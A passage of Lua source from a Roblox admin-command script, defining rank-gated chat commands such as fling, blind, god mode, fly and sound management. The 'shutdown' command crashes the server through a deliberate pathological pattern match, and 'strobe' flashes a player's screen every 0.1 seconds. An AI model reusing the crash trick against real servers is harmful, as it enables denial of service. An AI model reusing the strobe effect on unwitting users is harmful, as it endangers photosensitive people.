6344
6345 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6346 IRC.Logs = {}
6347 end};
6348
6349 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6350 CommandLogs = {}
6351 ChatLogs = {}
6352 IRC.Logs = {}
6353 end};
6354
6355 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6356 Server.GDS:SetAsync("ExploitLog", {})
6357 end};
6358
6359 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6360 local List,Correlate,SoundName = {},{},{}
6361 for Name,Info in pairs(SoundList) do
6362 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6363 table.insert(List, View)
6364 Correlate[View] = Info[1]
6365 end
6366
6367 local CanClick = true
6368 if Rank == "Member" then CanClick = false end
6369 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6370 Clicked.Event:connect(function(ClickName)
6371 local OldSoundId = nil
6372 SOUND:StopGlobalSound()
6373 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6374 SOUND:PlayGlobalSound(Correlate[ClickName])
6375 end
6376 end)
6377 end};
6378
6379 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6380 SOUND:SyncSoundList(Speaker)
6381 end};
6382
6383 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6384 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6385 if Answer == "Yes" then
6386 Server.Workspace.Terrain:Clear()
6387 end
6388 end};
6389
6390 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6391 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6392 if Answer == "Yes" then
6393 for _,Obj in pairs(Workspace:GetChildren()) do
6394 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6395 Obj:Destroy()
6396 end
6397 end
6398 end
6399 end};
6400
6401 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6402 CORE:MakeBase()
6403 end};
6404
6405 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6406 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6407 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6408 CustomSounds = {}
6409 end
6410 if tostring(Arguments[1]) then
6411 local Request = MARKET:GetItemInfo(Arguments[1])
6412 if Request.AssetTypeId == 3 then
6413 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6414 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6415 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6416 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6417 else
6418 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6419 end
6420 end
6421 end};
6422
6423 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6424 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6425 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6426 CustomSounds = {}
6427 end
6428
6429 local Removed = {}
6430 for Num,Data in pairs(CustomSounds) do
6431 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6432 table.insert(Removed, Data[1])
6433 table.remove(CustomSounds, Num)
6434 end
6435 end
6436
6437 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6438
6439 SOUND:SyncSoundList()
6440
6441 if #Removed > 0 then
6442 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6443 else
6444 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6445 end
6446 end};
6447
6448 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6449 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6450 if Answer == "Yes" then
6451 Server.GDS:SetAsync("MML Custom Sounds", {})
6452 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6453 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6454 end
6455 end};
6456
6457 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6458 local Players = STRING:Scan(Arguments[1], Speaker)
6459 local SpeakerTesting = false
6460 for _,Player in pairs(Players) do
6461 if Player == Speaker then SpeakerTesting = true end
6462 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6463 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6464 --wait(10)
6465 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6466 end)() end
6467 end
6468 if SpeakerTesting == false then
6469 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6470 end
6471 end};
6472
6473 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6474 local Players = STRING:Scan(Arguments[1], Speaker)
6475 local Compile = {}
6476 for _,Player in pairs(Players) do
6477 local PlayerInfo = ClientInfo[Player.Name]
6478 if PlayerInfo then
6479 if PlayerInfo.Benchmark then
6480 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6481 else
6482 table.insert(Compile, Player.Name..": No score")
6483 end
6484 end
6485 end
6486 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6487 end};
6488
6489 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6490 local Players = STRING:Scan(Arguments[1], Speaker)
6491 for _,Player in pairs(Players) do
6492 CORE:Chatted(Arguments[2], Player, true)
6493 end
6494 end};
6495
6496 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6497 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6498 end};
6499
6500 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6501 local Players = STRING:Scan(Arguments[1], Speaker)
6502 for _,Player in pairs(Players) do
6503 if Player.Character ~= nil then
6504 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6505 if Player.Character.Torso:FindFirstChild("Neck") then
6506 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6507 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6508 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6509 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6510 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6511 end
6512 end
6513 end
6514 end
6515 end};
6516
6517 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6518 local Players = STRING:Scan(Arguments[1], Speaker)
6519 for _,Player in pairs(Players) do
6520 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6521 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6522 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6523 end
6524 end
6525 end};
6526
6527 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6528 local Players = STRING:Scan(Arguments[1], Speaker)
6529 for _,Player in pairs(Players) do
6530 local _,RankNum = RANK:GetRank(Player)
6531 if RankNum <= RANK:ConvertRank(Rank) then
6532 CORE:FlingPlayer(Player)
6533 end
6534 end
6535 end};
6536
6537 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6538 local Players = STRING:Scan(Arguments[1], Speaker)
6539 for _,Player in pairs(Players) do
6540 local _,RankNum = RANK:GetRank(Player)
6541 if RankNum <= RANK:ConvertRank(Rank) then
6542 Flings[Player.Name] = true
6543 CORE:FlingPlayer(Player)
6544 end
6545 end
6546 end};
6547
6548 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6549 local Players = STRING:Scan(Arguments[1], Speaker)
6550 for _,Player in pairs(Players) do
6551 local _,RankNum = RANK:GetRank(Player)
6552 if RankNum <= RANK:ConvertRank(Rank) then
6553 Flings[Player.Name] = nil
6554 end
6555 end
6556 end};
6557
6558 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6559 local Players = STRING:Scan(Arguments[1], Speaker)
6560 for _,Player in pairs(Players) do
6561 CORE:Nuke(Player)
6562 end
6563 end};
6564
6565 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6566 local Players = STRING:Scan(Arguments[1], Speaker)
6567 for _,Player in pairs(Players) do
6568 Beeps[Player.Name] = true
6569 SOUND:BeepPlayer(Player)
6570 end
6571 end};
6572
6573 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6574 local Players = STRING:Scan(Arguments[1], Speaker)
6575 for _,Player in pairs(Players) do
6576 if Player.PlayerGui then
6577 Beeps[Player.Name] = nil
6578 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6579 if Obj.Name == "Annoy" then
6580 Obj:Stop()
6581 Obj:Destroy()
6582 end
6583 end
6584 end
6585 end
6586 end};
6587
6588 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6589 local Time = Arguments[1]
6590 if Time == "day" or Time == "noon" then Time = "12" end
6591 if Time == "night" or Time == "midnight" then Time = "0" end
6592 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6593 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6594 if Time == "afternoon" then Time = "15:30" end
6595 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6596 end};
6597
6598 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6599 local Players = STRING:Scan(Arguments[1], Speaker)
6600 for _,Player in pairs(Players) do
6601 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6602 end
6603 end};
6604
6605 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6606 local AbuseMode = false
6607 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6608 local Players = STRING:Scan(Arguments[1], Speaker)
6609 for _,Player in pairs(Players) do
6610 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6611 end
6612 end};
6613
6614 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6615 local Players = STRING:Scan(Arguments[1], Speaker)
6616 for _,Player in pairs(Players) do
6617 CORE:Insert(125013769, Player.Backpack, true)
6618 end
6619 end};
6620
6621 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6622 local Players = STRING:Scan(Arguments[1], Speaker)
6623 for _,Player in pairs(Players) do
6624 if Player.Character then
6625 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6626 end
6627 end
6628 end};
6629
6630 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6631 CORE:ResetLighting()
6632 repeat
6633 Server.Lighting.Ambient = Color3.new(1,1,1)
6634 Server.Lighting.FogColor = Color3.new(1,1,1)
6635 Server.Lighting.Brightness = 1
6636 Server.Lighting.TimeOfDay = 14
6637 wait(0.1)
6638 Server.Lighting.Ambient = Color3.new(0,0,0)
6639 Server.Lighting.FogColor = Color3.new(0,0,0)
6640 Server.Lighting.Brightness = 0
6641 Server.Lighting.TimeOfDay = 0
6642 wait(0.1)
6643 until ModLighting == false
6644 end};
6645
6646 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6647 CORE:ResetLighting()
6648 repeat
6649 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6650 Server.Lighting.Ambient = Color
6651 Server.Lighting.FogColor = Color
6652 Server.Lighting.TimeOfDay = 0
6653 Server.Lighting.FogEnd = 500
6654 wait(0.1)
6655 until ModLighting == false
6656 end};
6657
6658 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6659 CORE:FixLighting()
6660 end};
6661
6662 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6663 local Players = STRING:Scan(Arguments[1], Speaker)
6664 for _,Player in pairs(Players) do
6665 if Player:FindFirstChild("PlayerGui") then
6666 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6667 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6668 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6669 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6670 end
6671 end
6672 end};
6673
6674 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6675 local Players = STRING:Scan(Arguments[1], Speaker)
6676 for _,Player in pairs(Players) do
6677 if Player:FindFirstChild("PlayerGui") then
6678 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6679 end
6680 end
6681 end};
6682
6683 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6684 local Players = STRING:Scan(Arguments[1], Speaker)
6685 for _,Player in pairs(Players) do
6686 if Player:FindFirstChild("PlayerGui") then
6687 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6688 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6689 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6690 end
6691 end
6692 end};
6693
6694 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6695 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6696 if Suc then
6697 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6698 else
6699 Server.TS:Teleport(game.PlaceId, Speaker)
6700 end
6701 end};
6702
6703 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6704 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6705 end};
6706
6707 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6708 local NewAbuse = Arguments[1]
6709 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6710 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6711 end
6712
6713 local Match = false
6714 for _,AbuseCmd in pairs(Settings.AbuseList) do
6715 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6716 Match = true
6717 break
6718 end
6719 end
6720 if not Match then
6721 table.insert(Settings.AbuseList, NewAbuse)
6722 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6723 else
6724 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6725 end
6726 CORE:SetAbuseCommands()
6727 end};
6728
6729 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6730 local NewAbuse = Arguments[1]
6731 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6732 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6733 end
6734
6735 local Removed = false
6736 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6737 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6738 Removed = true
6739 table.remove(Settings.AbuseList, Num)
6740 end
6741 end
6742 if Removed then
6743 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6744 else
6745 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6746 end
6747 CORE:SetAbuseCommands()
6748 end};
6749
6750 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6751 local Players = STRING:Scan(Arguments[1], Speaker)
6752 for _,Player in pairs(Players) do
6753 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6754 Player.Character.Humanoid.MaxHealth = math.huge
6755 Player.Character.Humanoid.Health = math.huge
6756 end
6757 end
6758 end};
6759
6760 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6761 local Players = STRING:Scan(Arguments[1], Speaker)
6762 for _,Player in pairs(Players) do
6763 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6764 if Player.Character.Humanoid.MaxHealth == math.huge then
6765 Player.Character.Humanoid.MaxHealth = 100
6766 Player.Character.Humanoid.Health = 100
6767 else
6768 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6769 end
6770 end
6771 end
6772 end};
6773
6774 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6775 local Players = STRING:Scan(Arguments[1], Speaker)
6776 for _,Player in pairs(Players) do
6777 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6778 local Char = Player.Character
6779 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6780 end
6781 end
6782 end};
6783
6784 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6785 if tonumber(Arguments[2]) then
6786 local Players = STRING:Scan(Arguments[1], Speaker)
6787 for _,Player in pairs(Players) do
6788 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6789 Player.Character.Humanoid.Health = Arguments[2]
6790 end
6791 end
6792 end
6793 end};
6794
6795 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6796 if tonumber(Arguments[2]) then
6797 local Players = STRING:Scan(Arguments[1], Speaker)
6798 for _,Player in pairs(Players) do
6799 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6800 local Speed = tonumber(Arguments[2])
6801 if Speed then
6802 if Rank == "Member" then
6803 if Speed > 1000 then Speed = 1000
6804 elseif Speed < -1000 then Speed = -1000 end
6805 end
6806 Player.Character.Humanoid.WalkSpeed = Speed
6807 end
6808 end
6809 end
6810 end
6811 end};
6812
6813 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6814 if tonumber(Arguments[2]) then
6815 local Players = STRING:Scan(Arguments[1], Speaker)
6816 for _,Player in pairs(Players) do
6817 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6818 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6819 end
6820 end
6821 end
6822 end};
6823
6824 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6825 local Players = STRING:Scan(Arguments[1], Speaker)
6826 for _,Player in pairs(Players) do
6827 CORE:Fly(Player, 10000)
6828 end
6829 end};
6830
6831 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6832 local Players = STRING:Scan(Arguments[1], Speaker)
6833 for _,Player in pairs(Players) do
6834 CORE:Fly(Player, 1000000)
6835 end
6836 end};
6837
6838 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6839 local Players = STRING:Scan(Arguments[1], Speaker)
6840 for _,Player in pairs(Players) do
6841 if Player.Character then
6842 if Player.Character:FindFirstChild("StopMMLFly") then
6843 Player.Character.StopMMLFly:InvokeClient(Player)
6844 end
6845 end
6846 end
6847 end};
6848
6849 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6850 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6851 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6852 end};
6853
6854 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6855 local Players = STRING:Scan(Arguments[1], Speaker)
6856 for _,Player in pairs(Players) do
6857 CORE:GiveTools(Player, Arguments[2])
6858 end
6859 end};
6860
6861 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6862 local List = {}
6863 for _,Region in pairs(ToolRegions) do
6864 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6865 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6866 end)
6867 end
6868
6869 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6870 end};
6871
6872 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6873 local Players = STRING:Scan(Arguments[1], Speaker)
6874 for _,Player in pairs(Players) do
6875 CORE:GiveTools(Player, "btools")
6876 end
6877 end};
6878
6879 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6880 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6881 for _,Player in pairs(Server.Players:GetPlayers()) do
6882 Player:Kick()
6883 end
6884 Server.Workspace:ClearAllChildren()
6885 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6886 end};
6887
6888 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6889 local Players = STRING:Scan(Arguments[1], Speaker)
6890 for _,Player in pairs(Players) do
6891 CORE:Scale(Player, Arguments[2])
6892 end
6893 end};
6894
6895 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6896 local Players = STRING:Scan(Arguments[1], Speaker)
6897 for _,Player in pairs(Players) do
6898 CORE:Scale(Player, 50)
6899 end
6900 end};
6901
6902 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6903 local Players = STRING:Scan(Arguments[1], Speaker)
6904 for _,Player in pairs(Players) do
6905 CORE:Scale(Player, 70)
6906 end
6907 end, Hidden = true};
6908
6909 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6910 local Players = STRING:Scan(Arguments[1], Speaker)
6911 for _,Player in pairs(Players) do
6912 CORE:Scale(Player, 500)
6913 end
6914 end};
6915
6916 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6917 local Players = STRING:Scan(Arguments[1], Speaker)
6918 for _,Player in pairs(Players) do
6919 if Player.Character then
6920 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6921 Obj.Reflectance = 0.5
6922 Obj.BrickColor = BrickColor.new("New Yeller")
6923 end)
6924 end
6925 end
6926 end};
6927
6928 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6929 local Players = STRING:Scan(Arguments[1], Speaker)
6930 for _,Player in pairs(Players) do
6931 if Player.Character then
6932 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6933 Obj.Reflectance = 0.5
6934 end)
6935 end
6936 end
6937 end};
6938
6939 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6940 local Players = STRING:Scan(Arguments[1], Speaker)
6941 for _,Player in pairs(Players) do
6942 if Player.Character then
6943 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6944 Obj.Transparency = 0.5
6945 Obj.Reflectance = 0
6946 Obj.BrickColor = BrickColor.new("Institutional white")
6947 end)
6948 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6949 Obj.Transparency = 0.5
6950 end)
6951 end
6952 end
6953 end};
6954
6955 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6956 local Players = STRING:Scan(Arguments[1], Speaker)
6957 for _,Player in pairs(Players) do
6958 if Player.Character then
6959 for _,Obj in pairs(Player.Character:GetChildren()) do
6960 local Valid = false
6961 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6962 if Valid == true then Obj:Destroy() end
6963 end
6964 end
6965 end
6966 end};
6967
6968 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6969 local Players = STRING:Scan(Arguments[1], Speaker)
6970 for _,Player in pairs(Players) do
6971 if Player.Character then
6972 for _,Obj in pairs(Player.Character:GetChildren()) do
6973 local Valid = false
6974 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6975 if Valid == true then Obj:Destroy() end
6976 end
6977 end
6978 end
6979 end};
6980
6981 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6982 local Players = STRING:Scan(Arguments[1], Speaker)
6983 for _,Player in pairs(Players) do
6984 if Player.Character then
6985 for _,Obj in pairs(Player.Character:GetChildren()) do
6986 local Valid = false
6987 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6988 if Valid == true then Obj:Destroy() end
6989 end
6990 end
6991 end
6992 end};
6993
